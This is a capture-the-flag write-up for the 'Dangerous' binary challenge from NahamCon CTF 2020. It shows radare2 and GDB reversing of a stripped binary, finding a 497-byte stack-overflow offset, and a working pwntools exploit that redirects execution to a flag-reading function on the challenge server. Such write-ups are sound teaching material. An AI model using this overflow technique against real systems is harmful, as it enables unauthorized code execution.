Dangerous

by rogeriobastos / Deadlock Team

Tags: pwn binary

Rating:

Solution Summary

Overflow the stack and overwrite the return address to execute the flag function.

Walkthrough

The binary is a 64bits file with NX enabled.

```
$ pwn checksec dangerous
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

However it's a stripped binary which makes it harder to reverse engineer.

Radare2 finds the `main` address automaticaly but you can find it by yourself:

- Jump to the *entry point*
- Find the call to `__libc_start_main`
- The first parameter is `main` address

```
$ r2 -A dangerous
[...]
[0x004010f0]> pd 16
            ;-- section..text:
            ;-- rip:
/ 46: entry0 (int64_t arg3);
|           ; arg int64_t arg3 @ rdx
|           0x004010f0      f30f1efa       endbr64                    ; [15] -r-x section size 757 nam
ed .text
|           0x004010f4      31ed           xor ebp, ebp
|           0x004010f6      4989d1         mov r9, rdx                ; arg3
|           0x004010f9      5e             pop rsi
|           0x004010fa      4889e2         mov rdx, rsp
|           0x004010fd      4883e4f0       and rsp, 0xfffffffffffffff0
|           0x00401101      50             push rax
|           0x00401102      54             push rsp
|           0x00401103      49c7c0e01340.  mov r8, 0x4013e0
|           0x0040110a      48c7c1701340.  mov rcx, 0x401370
|           0x00401111      48c7c7d61140.  mov rdi, main              ; 0x4011d6
\           0x00401118      ff15d22e0000   call qword [reloc.__libc_start_main] ; [0x403ff0:8]=0
            0x0040111e      f4             hlt
            0x0040111f      90             nop
```

```
            0x00401120      f30f1efa        endbr64
            0x00401124      c3              ret
```

In this case: `0x4011d6`.

Looking at the strings in the binary we find `./flag.txt`.

```
[0x004010f0]> iz
[Strings]
nth paddr      vaddr      len size section type  string
----------------------------------------------------------
[...]
1   0x000021f8 0x004021f8 17  18   .rodata ascii What's your name?
2   0x00002210 0x00402210 46  47   .rodata ascii Uh-oh... something's not right... good luck...
3   0x0000223f 0x0040223f 10  11   .rodata ascii ./flag.txt
```

There is a reference to this string at `0x401322`.

```
[0x004010f0]> axt 0x0040223f
(nofunc) 0x401322 [DATA] lea rdi, str._flag.txt
```

Looking at this address we find a function starting at `0x0040130e` address.

```
[0x00401322]> s 0x401322
[0x00401322]> pd--5
            0x0040130e      f30f1efa        endbr64
            0x00401312      55              push rbp
            0x00401313      4889e5          mov rbp, rsp
            0x00401316      4881ec100200.   sub rsp, 0x210
            0x0040131d      be00000000      mov esi, 0
            0x00401322      488d3d160f00.   lea rdi, str._flag.txt     ; 0x40223f ; "./flag.txt"
            0x00401329      b800000000      mov eax, 0
            0x0040132e      e8adfdffff      call sym.imp.open           ; int open(const char *path, int
oflag)
            0x00401333      8945fc          mov dword [rbp - 4], eax
            0x00401336      488d8df0fdff.   lea rcx, [rbp - 0x210]
```

Let's mark it as a function and call it *fcn.flag*.

```
[0x00401322]> s 0x0040130e    # jump to start address
[0x0040130e]> af              # analyse block as a function
[0x0040130e]> pdf
/ 93: fcn.0040130e ();
|           ; var int64_t var_210h @ rbp-0x210
|           ; var int64_t var_4h @ rbp-0x4
|           0x0040130e      f30f1efa        endbr64
|           0x00401312      55              push rbp
|           0x00401313      4889e5          mov rbp, rsp
|           0x00401316      4881ec100200.   sub rsp, 0x210
|           0x0040131d      be00000000      mov esi, 0
|           0x00401322      488d3d160f00.   lea rdi, str._flag.txt     ; 0x40223f ; "./flag.txt"
|           0x00401329      b800000000      mov eax, 0
|           0x0040132e      e8adfdffff      call sym.imp.open           ; int open(const char *path, int
oflag)
|           0x00401333      8945fc          mov dword [var_4h], eax
|           0x00401336      488d8df0fdff.   lea rcx, [var_210h]
|           0x0040133d      8b45fc          mov eax, dword [var_4h]
|           0x00401340      ba00020000      mov edx, 0x200              ; 512
|           0x00401345      4889ce          mov rsi, rcx
|           0x00401348      89c7            mov edi, eax
```

```
|           0x0040134a      e871fdffff     call sym.imp.read           ; ssize_t read(int fildes, void
*buf, size_t nbyte)
|           0x0040134f      8b45fc         mov eax, dword [var_4h]
|           0x00401352      89c7           mov edi, eax
|           0x00401354      e857fdffff     call sym.imp.close          ; int close(int fildes)
|           0x00401359      488d85f0fdff.  lea rax, [var_210h]
|           0x00401360      4889c7         mov rdi, rax
|           0x00401363      e828fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00401368      90             nop
|           0x00401369      c9             leave
\           0x0040136a      c3             ret
[0x0040130e]> afn fcn.flag    # rename function to fcn.flag
```

This function opens `./flag.txt`, reads the content and puts it on the screen. So we have to find a way to run this function.

Back to the `main` function, now using GDB, let's try to overflow the stack and overwrite the return address.

```
$ gdb -q dangerous
gef➤  x/100i 0x4011d6
   0x4011d6:    endbr64
   0x4011da:    push   rbp
   0x4011db:    mov    rbp,rsp
   0x4011de:    sub    rsp,0x620
   0x4011e5:    mov    DWORD PTR [rbp-0x614],edi
   0x4011eb:    mov    QWORD PTR [rbp-0x620],rsi
   0x4011f2:    mov    rax,QWORD PTR [rip+0x2e67]        # 0x404060 <stdout>
   0x4011f9:    mov    ecx,0x0
   0x4011fe:    mov    edx,0x2
   0x401203:    mov    esi,0x0
   0x401208:    mov    rdi,rax
   0x40120b:    call   0x4010d0 <setvbuf@plt>
[...]
   0x4012e5:    mov    BYTE PTR [rbp-0x11],0x0
   0x4012e9:    lea    rax,[rbp-0x210]
   0x4012f0:    mov    rdi,rax
   0x4012f3:    call   0x401090 <puts@plt>
   0x4012f8:    mov    rax,QWORD PTR [rip+0x2d59]        # 0x404058
   0x4012ff:    mov    rdi,rax
   0x401302:    call   0x401090 <puts@plt>
   0x401307:    mov    eax,0x0
   0x40130c:    leave
   0x40130d:    ret
```

Set a *break point* at `ret` instruction and feed the program with a pattern to find the offset.

```
gef➤  pattern create 512
[+] Generating a pattern of 512 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaa[...]
gef➤  b * 0x40130d
Breakpoint 2 at 0x40130d
gef➤  run
What's your name?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaa
anaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaa
abbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaa
aaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaa
aaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
[...]
gef➤  x/gx $rsp
0x7fffffffe328: 0x6e63616161616161
gef➤  pattern search 0x6e63616161616161
```

```
[+] Searching '0x6e63616161616161'
[+] Found at offset 497 (little-endian search) likely
```

Exploit

The exploit is just a padding of 497 bytes plus the address of `flag` function.

```
from pwn import *

#sh = process('./dangerous')
sh = remote('jh2i.com', 50011)

payload  = b'A' * 497
payload += p64(0x40130e)

sh.readline()
sh.sendline(payload)
sh.stream()
```

Original writeup (https://gitlab.com/rogeriobastos/ctf-write-ups/-/blob/master/2020/NahamCon_CTF/binary/Dangerous/README.md).

Comments